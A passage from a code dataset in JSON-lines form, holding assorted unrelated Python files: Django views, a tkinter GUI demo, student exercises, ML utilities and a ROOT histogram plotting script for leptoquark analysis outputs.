employee=Employee.objects.get(id=emp.id),\r\n question=Question.objects.get(id=name),\r\n response=request.POST.get(name),\r\n SaveStatus=save_object\r\n )\r\n # import pdb;pdb.set_trace()\r\n if not created:\r\n survey_obj.response = request.POST.get(name)\r\n survey_obj.save()\r\n\r\n return redirect(\"emp_survey_assign\")\r\n\r\n\r\n@employee_login_required\r\ndef select_emp_action(request):\r\n \"\"\"\r\n Select view to render for adding employees.\r\n \"\"\"\r\n return render(request, 'newsurvey/emplist.html')\r\n\r\n\r\n@employee_login_required\r\ndef redirect_to_emp_view(request):\r\n \"\"\"\r\n Render the emp add view depending on selected option.\r\n :param request:\r\n :return:\r\n \"\"\"\r\n selected_option = request.POST.get('radiobtn')\r\n\r\n if selected_option == 'Select_CSV':\r\n return render(request, 'newsurvey/emp_csv.html')\r\n\r\n elif selected_option == 'Fill_form':\r\n org_list = Organization.objects.all()\r\n return render(request, 'newsurvey/emp_form.html', {\r\n 'org_total': org_list})\r\n\r\n\r\n@employee_login_required\r\ndef render_emp_form(request):\r\n \"\"\"\r\n render the view for adding single employee to the system.\r\n :param request:\r\n :return:\r\n \"\"\"\r\n return render(request, 'newsurvey/emp_form.html')\r\n\r\n\r\n@employee_login_required\r\ndef emp_form_save(request):\r\n \"\"\"\r\n adding multiple surveys\r\n \"\"\"\r\n if request.method == \"POST\":\r\n org_name = request.POST.get('OrgnisationName')\r\n empform_obj1 = Employee()\r\n empform_obj1.emp_name = request.POST.get('emp_name')\r\n empform_obj1.emp_username = request.POST.get('emp_username')\r\n empform_obj1.emp_password = request.POST.get('emp_password')\r\n empform_obj1.emp_designation = request.POST.get('emp_designation')\r\n empform_obj1.emp_address = request.POST.get('emp_address')\r\n empform_obj1.company = Organization.objects.get(\r\n company_name=org_name)\r\n empform_obj1.save()\r\n return redirect(\"index\")\r\n else:\r\n return redirect('index')\r\n","sub_path":"newsurvey/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":22816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"343554758","text":"from pymodm import fields, MongoModel, EmbeddedMongoModel\n\n\nclass PersonTrail(MongoModel):\n cpf = fields.CharField(primary_key=True)\n last_query = fields.DateTimeField()\n transactions = fields.EmbeddedDocumentListField('Transaction')\n last_purchase = fields.EmbeddedDocumentField('LastPurchase')\n\n\nclass Transaction(EmbeddedMongoModel):\n date = fields.DateTimeField()\n value = fields.FloatField(min_value=0)\n\n\nclass LastPurchase(EmbeddedMongoModel):\n company = fields.CharField()\n date = fields.DateTimeField()\n value = fields.FloatField(min_value=0)\n","sub_path":"social_trail_fetcher/base_c/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"175302383","text":"# Imports\nimport tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import scrolledtext\n\n# create instance\nwin = tk.Tk()\n\n# set title\nwin.title(\"Python GUI\")\n# set size\n#win.geometry(\"300x300\")\n\n# Button click event function\ndef click_me():\n\taction.configure(text = \"Hello \" + number.get())\n\n# adding a text box ENTRY widget\nname = tk.StringVar()\t# create a string variable\nname_entered = ttk.Entry(win, width=12, textvariable=name) # bound string variable to Entry widget\n\n# adding a button\naction = ttk.Button(win, text = \"click me!\", command = click_me )\n\n# Add label\nlabel = ttk.Label(win, text=\"Enter a name\")\n\n# adding combo box\ncombobox_label = ttk.Label(win, text=\"Choose a number: \")\nnumber = tk.StringVar()\nnumber_choosen = ttk.Combobox(win, width=12,textvariable=number, state =\"readonly\")\nnumber_choosen[\"values\"] = (1,2,4,42,100)\nnumber_choosen.current(0)\n\n#----------------checkbuttons-------------\nchVarDis = tk.IntVar()\ncheck1 = tk.Checkbutton(win, text=\"disabled\", variable=chVarDis, state=\"disabled\")\ncheck1.select()\n\nchVarUn = tk.IntVar()\ncheck2 = tk.Checkbutton(win, text=\"UnChecked\", variable=chVarUn)\ncheck2.deselect()\n\nchVarEn = tk.IntVar()\ncheck3 = ttk.Checkbutton(win, text=\"Enabled\", variable=chVarEn)\n#check3.select()\n#----------------radiobuttons-------------\ncolors = [\"blue\", \"gold\", \"red\"]\n\n#radiobutton callback\ndef radCall():\n\tradSel = radVar.get()\n\tif radSel == 0:\n\t\twin.configure(background = colors[0])\n\tif radSel == 1:\n\t\twin.configure(background = colors[1])\n\tif radSel == 2:\n\t\twin.configure(background = colors[2])\n\n# create three radiobuttons using one variable\nradVar = tk.IntVar()\nradVar.set(99)\nfor col in range(3):\n\trad = ttk.Radiobutton(win, text=colors[col], variable=radVar, value=col, command=radCall)\n\trad.grid(column = col, row = 5, sticky = tk.W, columnspan = 3)\n\n#----scrolled text--------------\nscroll_w = 30\nscroll_h = 3\nscr = scrolledtext.ScrolledText(win, width=scroll_w, height=scroll_h, wrap=tk.WORD)\n\n\n#---------------grid positions--------------\n# building up the grid and positioning\n# First row\nlabel.grid(column=0, row=0)\ncombobox_label.grid(column=1,row=0)\n# second row\nname_entered.grid(column = 0, row = 1)\nnumber_choosen.grid(column=1, row=1)\n#\naction.grid(column = 2, row = 1)\n#4 row\ncheck1.grid(column = 0, row = 4, sticky = tk.W)\ncheck2.grid(column = 1, row = 4, sticky = tk.W)\ncheck3.grid(column = 2, row = 4, sticky = tk.W)\n#5 row\n\nscr.grid(column=0, columnspan=3)\n\n#---------create a container to hold labels\nbuttons_frame = ttk.LabelFrame(win, text=\"labels in a frame\")\nbuttons_frame.grid(column=0, row=7)\n\n# place labels into the container element\nttk.Label(buttons_frame, text=\"label1\").grid(column=0, row=0, sticky=tk.W)\nttk.Label(buttons_frame, text=\"label2\").grid(column=0, row=1, sticky=tk.W)\nttk.Label(buttons_frame, text=\"label3\").grid(column=0, row=2, sticky=tk.W)\nname_entered.focus()\n# Start\nwin.mainloop()\n\n\n\n\n\n\n\n","sub_path":"code-cookbook/ch2_p38_GUI_labelframe_column_one.py","file_name":"ch2_p38_GUI_labelframe_column_one.py","file_ext":"py","file_size_in_byte":2898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"204770300","text":"# Questoin 12\ndef print_phrase(phrase):\n \"\"\"Print the word Pyhton from the given phrase.\"\"\"\n print(phrase[:6])\n\n# Question 13 \ndef print_power_2():\n \"\"\"Print out the powers of 2, up to\"\"\"\n for i in range(0,511):\n i += 2\n print(i, end= \" \")\n\n# AND a second answer to Quesiton 13\ndef geo_series(a,r,limit):\n \"\"\"Print geo series, with start as a, step by r and limit is end.\"\"\" \n \n term = 2\n while term <= limit:\n print(term, end = \" \")\n term += r\n\n# Question 14 \ndef draw_curve(n):\n \"\"\"\"Use Python Turtle to draw a physics modulation curve\"\"\"\n import turtle\n import math\n screen = turtle.Screen()\n alexa = turtle.Turtle()\n \n alexa.penup()\n alexa.goto(-n, 0)\n alexa.pendown()\n \n for x in range(-n, n):\n y = 100*(math.cos(x/10)+math.cos(1*x/12))\n alexa.goto(x,y)\n\n \n screen.exitonclick()\n \n# Question 15 \ndef lognm(n,m):\n \"\"\"Return the logarithmic value of any given number with respect to any given base.\"\"\"\n import math\n return math.log10(n)/math.log10(m)\n\n# Question 16\ndef spell_python_correctly(str, n):\n \"\"\"Slice the back end of a tring and add it to the front of a string, use string rotation\"\"\"\n return str[n:] + str[0:n] \n\n \ndef main():\n \"\"\"Call all functions \"\"\"\n # Question 12\n print_phrase(\"Python Programming\")\n \n # Question 13\n print_power_2()\n \n # AND a second answer to Quesiton 13\n geo_series(2, 2, 512)\n \n # Question 14\n draw_curve(200)\n\n # Question 15\n print(lognm(1000,10))\n\n # Question 16\n print(spell_python_correctly(\"Python\", 2))\n \nmain()\n","sub_path":"midterm_practice/midterm_practice.py","file_name":"midterm_practice.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"459897900","text":"def create_keypair(conn):\n keypair = conn.compute.find_keypair(KEYPAIR_NAME)\n\n if not keypair:\n print(\"Create Key Pair:\")\n\n keypair = conn.compute.create_keypair(name=KEYPAIR_NAME)\n\n print(keypair)\n\n try:\n os.mkdir(SSH_DIR)\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise e\n\n with open(PRIVATE_KEYPAIR_FILE, 'w') as f:\n f.write(\"%s\" % keypair.private_key)\n\n os.chmod(PRIVATE_KEYPAIR_FILE, 0o400)\n\n return keypair\n","sub_path":"key pair/create kepair.py","file_name":"create kepair.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"337968937","text":"\"\"\"\n JSON e Pickle\n\n JSON -> Java Script Object Notation\n\n Escrevendo em arquivo json com jsonpickle\n\n with open('felix.json', 'w') as arquivo:\n ret = jsonpickle.encode(felix)\n arquivo.write(ret)\n\"\"\"\n\nimport json\nimport jsonpickle\n\nret = json.dumps(['produto', {'Playstation4': ('2tb', 'Novo', '220V', 2340)}])\nprint(type(ret))\nprint(ret)\n\nclass Gato(object):\n\n def __init__(self, nome, raca):\n self.__nome = nome\n self.__raca = raca\n\n @property\n def nome(self):\n return self.__nome\n\n @property\n def raca(self):\n return self.__raca\n\nfelix = Gato('Felix', 'Vira-Lata')\n\nprint(felix.__dict__)\n\nret = json.dumps(felix.__dict__)\n\nprint(ret)\n\nprint('\\n\\n')\n\nret = jsonpickle.encode(felix)\nprint(ret)\n\n\n# Lendor arquivo json\n\nwith open('felix.json', 'r') as arquivo:\n conteudo = arquivo.read()\n ret = jsonpickle.decode(conteudo)\n print(type(ret))\n print(ret)\n print(ret.__dict__)\n print(ret.nome)","sub_path":"python-estudos/estudos/manipulando_arquivo_csv_json/trabalhando_json_pickle.py","file_name":"trabalhando_json_pickle.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"648896762","text":"import sys\nimport cPickle\nimport numpy as np\nfrom gensim.models import KeyedVectors\n\nw2v_path = sys.argv[1]\nbinary = True\nvocab_path = sys.argv[2]\nout_path = sys.argv[3]\n\n\nprint('- Loading word2vec...')\nw2v = KeyedVectors.load_word2vec_format(w2v_path, binary=binary)\nwords = []\nprint('- Reading vocab...')\nwith open(vocab_path) as ifp:\n for line in ifp:\n words.append(line.strip().split('\\t')[0])\nprint('- Vocab size: {}'.format(len(words)))\nprint('- Copying word2vec...')\nvocab2vec = np.random.uniform(low=-1.0, high=1.0,\n size=(len(words), w2v['test'].shape[0]))\nvocab2vec = vocab2vec / np.linalg.norm(vocab2vec, ord=2, axis=0)\nunk = 0\nfor i, word in enumerate(words):\n if word in w2v:\n vocab2vec[i] = w2v[word]\n else:\n unk += 1\nprint('- Unknown words: {}'.format(unk))\nprint('- Writing output...')\nwith open(out_path, 'w') as ofp:\n cPickle.dump(obj=vocab2vec, file=ofp)\n","sub_path":"adaptive_lm/preprocess/copy_word2vec.py","file_name":"copy_word2vec.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"317400987","text":"class Pet:\n allowed = [\"cat\", \"dog\", \"fish\", \"rat\"]\n\n def __init__(self, name, species):\n # allowed = [\"cat\", \"dog\", \"fish\", \"rat\"]\n # ovde mozes da koristis i self i Pet.\n # self se odnosi samo na instancu, dok je Pet za celu klasu, tako da je u sustini svejedno\n if species not in Pet.allowed:\n raise ValueError(f\"You cannot have a {species} pet!\")\n self.name = name\n self.species = species\n\n # obicno kada zelis da menjas neke properije u klasi, onda je OK praksa da koristis getters and setters\n def set_species(self, species):\n if species not in Pet.allowed:\n raise ValueError(f\"You cannot have a {species} pet!\")\n self.species = species\n\n\ncat = Pet(\"Blue\", \"cat\")\ndog = Pet(\"Wyatt\", \"dog\")\n\ncat.set_species(\"rat\")\nprint(cat.species)\n# ERROR - nije dozvoljena vrsta\n# tiger = Pet(\"Tomuy\", \"tiger\")\n\n# U allowed property dodajem novi pet\nPet.allowed.append(\"pig\")\ncat.set_species(\"pig\")\nprint(cat.species)\n","sub_path":"OOP/pet.py","file_name":"pet.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"126098082","text":"class PairValue:\n\tdef __init__(self,face,line):\n\t\tself.face = face\n\t\tself.line = line\n\nclass EdgeTree:\n\tdef __init__(self):\n\t\tself.pair = PairValue(-1,-1)\n\t\tself.next = -1\n\nclass EdgePair:\n\tdef __init__(self,obj):\n\t\tself.obj = obj\n\n\t\tvert_count = obj.numVertex\n\t\tface_count = obj.numFace\n\n\t\tself.pair = []\n\t\ttree_size = vert_count\n\t\tfor cf in range(face_count):\n\t\t\tself.pair.append([])\n\t\t\tcfc = obj.face[cf].numVertex\n\t\t\tif cfc >= 3:\n\t\t\t\tfor k in range(cfc):\n\t\t\t\t\tself.pair[cf].append(PairValue(-1,-1))\n\t\t\t\ttree_size = tree_size + cfc\n\n\t\ttree = []\n\t\tfor cf in range(tree_size):\n\t\t\ttree.append(EdgeTree())\n\n\t\tregvc = vert_count;\n\t\tfor cf in range(face_count):\n\t\t\tcfc = obj.face[cf].numVertex\n\t\t\tif cfc < 3:\n\t\t\t\tcontinue\n\n\t\t\tfor k in range(cfc):\n\t\t\t\tself.pair[cf].append(-1)\n\n\t\t\tcvi = obj.face[cf].index\n\t\t\tcfc = cfc-1\n\t\t\tfor j in range(cfc+1):\n\t\t\t\tv1 = cvi[j];\n\t\t\t\tif j < cfc:\n\t\t\t\t\tv2 = cvi[j+1]\n\t\t\t\telse:\n\t\t\t\t\tv2 = cvi[0]\n\t\t\t\tdone = 0\n\t\t\t\tdrel = tree[v2]\n\t\t\t\twhile True:\n\t\t\t\t\tif drel.pair.face < 0:\n\t\t\t\t\t\tbreak\n\n\t\t\t\t\tdf = drel.pair.face\n\t\t\t\t\tdfc = obj.face[df].numVertex\n\t\t\t\t\tdvi = obj.face[df].index\n\t\t\t\t\tif self.pair[df][drel.pair.line].face < 0:\n\t\t\t\t\t\tif drel.pair.line= len(self.pair):\n\t\t\treturn None\n\t\tif self.pair[face_index][line_index].face < 0:\n\t\t\treturn None\n\t\treturn PairValue(self.pair[face_index][line_index].face, self.pair[face_index][line_index].line)\n\n\ndef isLineSelected(doc, pair, obj_idx, face, line):\n\tif doc.isSelectLine(obj_idx, face, line):\n\t\treturn True\n\tp = pair.getPair(face, line)\n\tif p is None:\n\t\treturn False\n\telse:\n\t\treturn doc.isSelectLine(obj_idx, p.face, p.line)\n\n\ndoc = MQSystem.getDocument()\nnum = doc.numObject\nfor oi in range(0,num):\n\tobj = doc.object[oi]\n\tif obj is None: continue\n\n\tpair = EdgePair(obj)\n\tnumFace = obj.numFace\n\tnumVert = obj.numVertex\n\n\t# Shrink vertex selection.\n\tselarray = []\n\tfor vi in range(numVert):\n\t\tif obj.vertex[vi].ref > 0:\n\t\t\tselarray.append(doc.isSelectVertex(oi, vi))\n\t\telse:\n\t\t\tselarray.append(0)\n\tfor fi in range(numFace):\n\t\tnum = obj.face[fi].numVertex\n\t\tif num >= 3:\n\t\t\tfor j in range(num):\n\t\t\t\tif selarray[obj.face[fi].index[j]] != 0:\n\t\t\t\t\tnvi1 = obj.face[fi].index[(j+1)%num]\n\t\t\t\t\tnvi2 = obj.face[fi].index[(j+num-1)%num]\n\t\t\t\t\tif selarray[nvi1] == 0 or selarray[nvi2] == 0:\n\t\t\t\t\t\tdoc.deleteSelectVertex(oi, obj.face[fi].index[j])\n\n\t# Shrink face selection.\n\tselarray = []\n\tfor fi in range(numFace):\n\t\tnum = obj.face[fi].numVertex\n\t\tif num >= 3:\n\t\t\tselarray.append(doc.isSelectFace(oi, fi))\n\t\telse:\n\t\t\tselarray.append(0)\n\t\n\tfor fi in range(numFace):\n\t\tif selarray[fi] != 0:\n\t\t\tnum = obj.face[fi].numVertex\n\t\t\tfor j in range(num):\n\t\t\t\tp = pair.getPair(fi, j)\n\t\t\t\tif p is not None and selarray[p.face] == 0:\n\t\t\t\t\tdoc.deleteSelectFace(oi, fi)\n\t\t\t\t\tbreak\n\n","sub_path":"Default_Scripts/shrink_selection.py","file_name":"shrink_selection.py","file_ext":"py","file_size_in_byte":3324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"550772207","text":"def sum_2_max_el(var1, var2, var3):\r\n \"\"\"\r\n Возваращет сумму двух максимальных элементов передоваемых в качестве параметров.\r\n\r\n :param var1: int/float\r\n :param var2: int/float\r\n :param var3: int/float\r\n :return: int/float\r\n \"\"\"\r\n my_list = [var1, var2, var3]\r\n my_list.sort(reverse=True)\r\n return sum(my_list[:2])\r\n\r\n\r\nprint(sum_2_max_el((int(input(\"Введите 1-ое число: \"))), (int(input(\"Введите 2-ое число: \"))), (int(input(\"Введите 3-е число: \")))))\r\n","sub_path":"lesson_3_task_3.py","file_name":"lesson_3_task_3.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"198351951","text":"\"\"\" Script to run data analysis and plotting on the analysis computer \"\"\"\n\nfrom CommunicationManager import CommunicationManager\n\n\nif __name__=='__main__':\n \"\"\"Runs data analysis and plotting.\n\n Parameters:\n ...\n \"\"\" \n\n # File path to image data\n dir_file = input(\"Enter filepath to experiment directory : \")\n #dir_file = raw_input(\"Enter filepath to experiment directory : \")\n\n # Reaction ID (Note: this is the name of the experiment directory)\n reaction_id = input(\"Enter Reaction ID : \")\n #reaction_id = raw_input(\"Enter Reaction ID : \")\n\n\n # Creates instance of CommunicationManager class and runs analysis\n manager = CommunicationManager(dir_file, reaction_id)\n manager.initialize()\n manager.run()\n","sub_path":"MainAnalysis.py","file_name":"MainAnalysis.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"52859382","text":"from django.http import HttpResponseRedirect, HttpResponse, Http404\nfrom django.shortcuts import render, redirect\nfrom django.utils.text import slugify\n\nfrom .forms import AddShopForm, AddProductForm\nfrom .models import Shop, Product, Order, LineItem\n\nfrom django.core.exceptions import ObjectDoesNotExist\n\ndef view_shop(request, id):\n shop = Shop.objects.get(slug__exact=id)\n products = Product.objects.filter(shop=shop.id).all()\n orders = Order.objects.filter(shop=shop.id).prefetch_related('lineItems').all()\n \n ret = {'orders': orders, 'products': products, 'shop': shop}\n \n if request.method == 'POST':\n product_form = AddProductForm(request.POST)\n ret['product_form'] = product_form\n if product_form.is_valid():\n data = product_form.cleaned_data\n \n product = Product(name=data['name'], description=data['description'], shop=shop, price=data['price'], quantity=data['quantity'], slug=slugify(data['name']))\n \n if product.quantity < 1:\n ret['error'] = 'Quantity must be greater than 0!'\n return render(request, 'view_shop.html', ret)\n \n try:\n product.save()\n ret['success'] = 'Product successfully added!'\n return render(request, 'view_shop.html', ret)\n except:\n ret['error'] = 'Could not add product!'\n return render(request, 'view_shop.html', ret)\n else:\n ret['product_form'] = AddProductForm()\n\n return render(request, 'view_shop.html', ret)\n\ndef new_order(request, id):\n try:\n shop = Shop.objects.get(slug__exact=id)\n except:\n raise Http404(\"404 - Shop not found\")\n \n products = Product.objects.filter(shop=shop.id).all() \n data = request.POST\n \n # Tempfix to get product qtys since I can't bind dynamic models to fields in forms, it may exist (?)\n items = list(filter(lambda tup: tup[0] != \"csrfmiddlewaretoken\" and tup[0] != \"action\" and tup[1] and int(tup[1]) > 0, data.items()))\n \n # Form contains data\n if items:\n order = Order(shop=shop)\n order.save()\n for k, v in items:\n try:\n item = LineItem(quantity=int(v), order=order, product=Product.objects.get(slug__exact=k))\n item.save()\n except:\n pass\n order.delete()\n break\n \n return redirect('/shop/%s/' % id)\n \n \ndef shop_list(request):\n return render(request, 'shop_list.html', {'shops': Shop.objects.all()})\n \ndef new_shop(request):\n if request.method == 'POST':\n shop_form = AddShopForm(request.POST)\n \n if shop_form.is_valid():\n data = shop_form.cleaned_data\n shop = Shop(name=data['name'], description=data['description'], slug=slugify(data['name']))\n \n try:\n shop.save()\n except:\n return render(request, 'shop_list.html', {'shops': Shop.objects.all(), 'error': 'Could not add shop!'})\n \n return render(request, 'shop_list.html', {'shops': Shop.objects.all(), 'success': 'Added shop.'})\n else:\n shop_form = AddShopForm()\n \n return render(request, 'new_shop.html', {'shop_form': shop_form, 'shops': Shop.objects.all()}) \n ","sub_path":"apichallenge/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"135975464","text":"import torch.optim as optim\nfrom torch.optim.lr_scheduler import StepLR\n\nfrom configs import basic_config\nfrom models.trainer import train\nfrom models.evaluator import test\n\nfrom utils import logger_utils\nlogger = logger_utils.get_logger(__name__)\n\nlr = basic_config.optimizer_paras['lr']\nmomentum = basic_config.optimizer_paras['momentum']\nstep_size = basic_config.lr_scheduler_steplr_paras['step_size']\ngamma = basic_config.lr_scheduler_steplr_paras['gamma']\n# weight_decay = basic_config.optimizer_paras['weight_decay']\n# l1_lambda = basic_config.l1_lambda\n\ndef build_model(EPOCHS, device, train_loader, test_loader, **kwargs):\n train_acc = []\n train_losses = []\n test_acc = []\n test_losses = []\n best_test_accuracy = 0\n scheduler = None\n best_model = None\n model = kwargs.get('model')\n logger.info(str(kwargs.get('l1_lambda', 0)) + ' ' + str(kwargs.get('l2_lambda', 0)))\n optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum, \n weight_decay=kwargs.get('l2_lambda', 0))\n if step_size and gamma:\n scheduler = StepLR(optimizer, step_size=step_size, gamma=gamma)\n l1_lambda = kwargs.get('l1_lambda', 0)\n for epoch in range(EPOCHS):\n logger.info(f\"[EPOCH:{epoch}]\")\n train_acc, train_losses = train(model, device, train_loader, optimizer, l1_lambda, train_acc, train_losses)\n if scheduler:\n scheduler.step()\n test_acc, test_losses = test(model, device, test_loader, test_acc, test_losses)\n if test_acc[-1] > best_test_accuracy:\n best_test_accuracy = test_acc[-1]\n best_model = model\n logger.info(f\"best_test_accuracy {best_test_accuracy}\")\n #print(f\"best_test_accuracy {best_test_accuracy}\")\n return train_acc, train_losses, test_acc, test_losses, best_model\n","sub_path":"models/model_builder.py","file_name":"model_builder.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"440443987","text":"'''Author: Yogesh Verma'''\n'''DeepLQ'''\n# ! /usr/bin/env python\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\nimport ROOT\nkBlue = ROOT.kBlue\nkGreen = ROOT.kGreen\nkRed = ROOT.kRed\nkYellow = ROOT.kYellow\nkBlack = ROOT.kBlack\nkCyan = ROOT.kCyan\nkGray = ROOT.kGray\nkAzure = ROOT.kAzure\nkMagenta = ROOT.kMagenta\nkViolet = ROOT.kViolet\nkSpring = ROOT.kSpring\nkYellow = ROOT.kYellow \nkPink = ROOT.kPink\nkTeal = ROOT.kTeal\nkMint = ROOT.kMint\n\n#Weights used in scaling\nsigma1 = 1.49365004749e-05\nsigma2 = 1.93210659898e-05\nsigma3 = 8.57084357084e-07\nsigma4 = 7.67977184763e-08\nsigma5 = 9.46464646465e-09\nsigma6 = 1.41248720573e-09\nsigma7 = 2.28928199792e-10\nsigma8 = 3.89424062308e-11\nwst1 = 0.00001093554\nwst2 = 0.00001620925\nwst3 = 0.00000455268\nwst4 = 0.00000427091\nwdy = 0.00013864453\nwwz = 0.0000276\nwww = 0.0000763371\nwzz = 0.00001226183\n\n\n#Reading files output from Binary Classification Model. Change the name of file w.r.t to model used\nwith open(\"/work/yverma/DNN_SLQ/ZZ_binary_wet.txt\") as zz:\n ZZ_wt = [line.split() for line in zz]\n\nwith open(\"/work/yverma/DNN_SLQ/WW_binary_wet.txt\") as ww:\n WW_wt = [line.split() for line in ww]\n\nwith open(\"/work/yverma/DNN_SLQ/WZ_binary_wet.txt\") as wz:\n WZ_wt = [line.split() for line in wz]\n\nwith open(\"/work/yverma/DNN_SLQ/DY_binary_wet.txt\") as dy:\n DY_wt = [line.split() for line in dy]\n\nwith open(\"/work/yverma/DNN_SLQ/ST1_binary_wet.txt\") as st1:\n ST1_wt = [line.split() for line in st1]\n\nwith open(\"/work/yverma/DNN_SLQ/ST2_binary_wet.txt\") as st2:\n ST2_wt = [line.split() for line in st2]\n\nwith open(\"/work/yverma/DNN_SLQ/ST3_binary_wet.txt\") as st3:\n ST3_wt = [line.split() for line in st3]\n\nwith open(\"/work/yverma/DNN_SLQ/ST4_binary_wet.txt\") as st4:\n ST4_wt = [line.split() for line in st4]\n\nwith open(\"/work/yverma/DNN_SLQ/TT_binary_wet.txt\") as tt:\n TT_wt = [line.split() for line in tt]\n\nwith open(\"/work/yverma/DNN_SLQ/LQ500_binary_wet.txt\") as lq50:\n lQ50_wt = [line.split() for line in lq50]\n\nwith open(\"/work/yverma/DNN_SLQ/LQ800_binary_wet.txt\") as lq80:\n lQ80_wt = [line.split() for line in lq80]\n\nwith open(\"/work/yverma/DNN_SLQ/LQ1100_binary_wet.txt\") as lq110:\n lQ110_wt = [line.split() for line in lq110]\n\nwith open(\"/work/yverma/DNN_SLQ/LQ1400_binary_wet.txt\") as lq140:\n lQ140_wt = [line.split() for line in lq140]\n\nwith open(\"/work/yverma/DNN_SLQ/LQ1700_binary_wet.txt\") as lq170:\n lQ170_wt = [line.split() for line in lq170]\n\nwith open(\"/work/yverma/DNN_SLQ/LQ2000_binary_wet.txt\") as lq200:\n lQ200_wt = [line.split() for line in lq200]\n\nwith open(\"/work/yverma/DNN_SLQ/LQ2300_binary_wet.txt\") as lq230:\n lQ230_wt = [line.split() for line in lq230]\n\n\n\n\nZZ_arr_wt = np.array(ZZ_wt, dtype=float)\nWW_arr_wt = np.array(WW_wt, dtype=float)\nWZ_arr_wt = np.array(WZ_wt, dtype=float)\nDY_arr_wt = np.array(DY_wt, dtype=float)\nST1_arr_wt = np.array(ST1_wt, dtype=float)\nST2_arr_wt = np.array(ST2_wt, dtype=float)\nST3_arr_wt = np.array(ST3_wt, dtype=float)\nST4_arr_wt = np.array(ST4_wt, dtype=float)\nTT_arr_wt = np.array(TT_wt, dtype=float)\nLQ50_arr_wt = np.array(lQ50_wt, dtype=float)\nLQ80_arr_wt = np.array(lQ80_wt, dtype=float)\nLQ110_arr_wt = np.array(lQ110_wt, dtype=float)\nLQ140_arr_wt = np.array(lQ140_wt, dtype=float)\nLQ170_arr_wt = np.array(lQ170_wt, dtype=float)\nLQ200_arr_wt = np.array(lQ200_wt, dtype=float)\nLQ230_arr_wt = np.array(lQ230_wt, dtype=float)\n\n\n#Plotting output distributions\nc1 = ROOT.TCanvas('c1','Example',2700,1900)\nlegend = ROOT.TLegend(0.5,0.6,0.88,0.88);\nhist = ROOT.TH1F(\"plot1\",\"\",100,0,1)\nfor i in DY_arr_wt:\n ROOT.gStyle.SetOptStat(0)\n hist.Fill(i,wdy)\n hist.SetMinimum(1E-11)\n hist.SetMaximum(1E+4)\n #hist.SetMarkerStyle(ROOT.kFullCircle)\n hist.SetLineColor(kCyan)\n hist.SetLineWidth(4)\n hist.SetTitle(\"\")\n hist.SetXTitle(\"Probability\")\n hist.SetYTitle(\"#sigma / N_{events}^{gen}\")\n\n\nc1.SetLogy()\nhist.Draw()\n\nhist0 = ROOT.TH1F(\"plot0\",\"\",100,0,1)\nfor i in TT_arr_wt:\n ROOT.gStyle.SetOptStat(0)\n hist0.Fill(i,sigma1)\n hist0.SetMinimum(1E-11)\n hist0.SetMaximum(1E+4)\n #hist0.SetMarkerStyle(ROOT.kFullCircle)\n hist0.SetLineColor(kViolet)\n hist0.SetLineWidth(4)\n hist0.SetTitle(\"\")\n hist.SetXTitle(\"Probability\")\n hist0.SetYTitle(\"#sigma / N_{events}^{gen}\")\n\n\nhist0.Draw(\"Same\")\n\n\nhist2 = ROOT.TH1F(\"plot2\",\"\",100,0,1)\nfor i in LQ50_arr_wt:\n ROOT.gStyle.SetOptStat(0)\n hist2.Fill(i,sigma2)\n hist2.SetMinimum(1E-11)\n hist2.SetMaximum(1E+4)\n hist2.SetMarkerStyle(ROOT.kFullCircle)\n hist2.SetMarkerColor(kGreen)\n hist2.SetTitle(\"\")\n hist2.SetXTitle(\"Probability\")\n hist2.SetYTitle(\"#sigma / N_{events}^{gen}\")\n\n\nhist2.Draw(\"Same\")\n\nhist3 = ROOT.TH1F(\"plot3\",\"\",100,0,1)\nfor i in LQ80_arr_wt:\n ROOT.gStyle.SetOptStat(0)\n hist3.Fill(i,sigma3)\n hist3.SetMinimum(1E-11)\n hist3.SetMaximum(1E+4)\n hist3.SetMarkerStyle(ROOT.kFullCircle)\n hist3.SetMarkerColor(kRed)\n hist3.SetTitle(\"\")\n hist3.SetXTitle(\"Probability\")\n hist3.SetYTitle(\"#sigma / N_{events}^{gen}\")\n\n\nhist3.Draw(\"Same\")\n\n\nhist4 = ROOT.TH1F(\"plot4\",\"\",100,0,1)\nfor i in LQ110_arr_wt:\n ROOT.gStyle.SetOptStat(0)\n hist4.Fill(i,sigma4)\n hist4.SetMinimum(1E-11)\n hist4.SetMaximum(1E+4)\n hist4.SetMarkerStyle(ROOT.kFullCircle)\n hist4.SetMarkerColor(kYellow)\n hist4.SetTitle(\"\")\n hist4.SetXTitle(\"Probability\")\n hist4.SetYTitle(\"#sigma / N_{events}^{gen}\")\n\n\nhist4.Draw(\"Same\")\n\n\n\nhist5 = 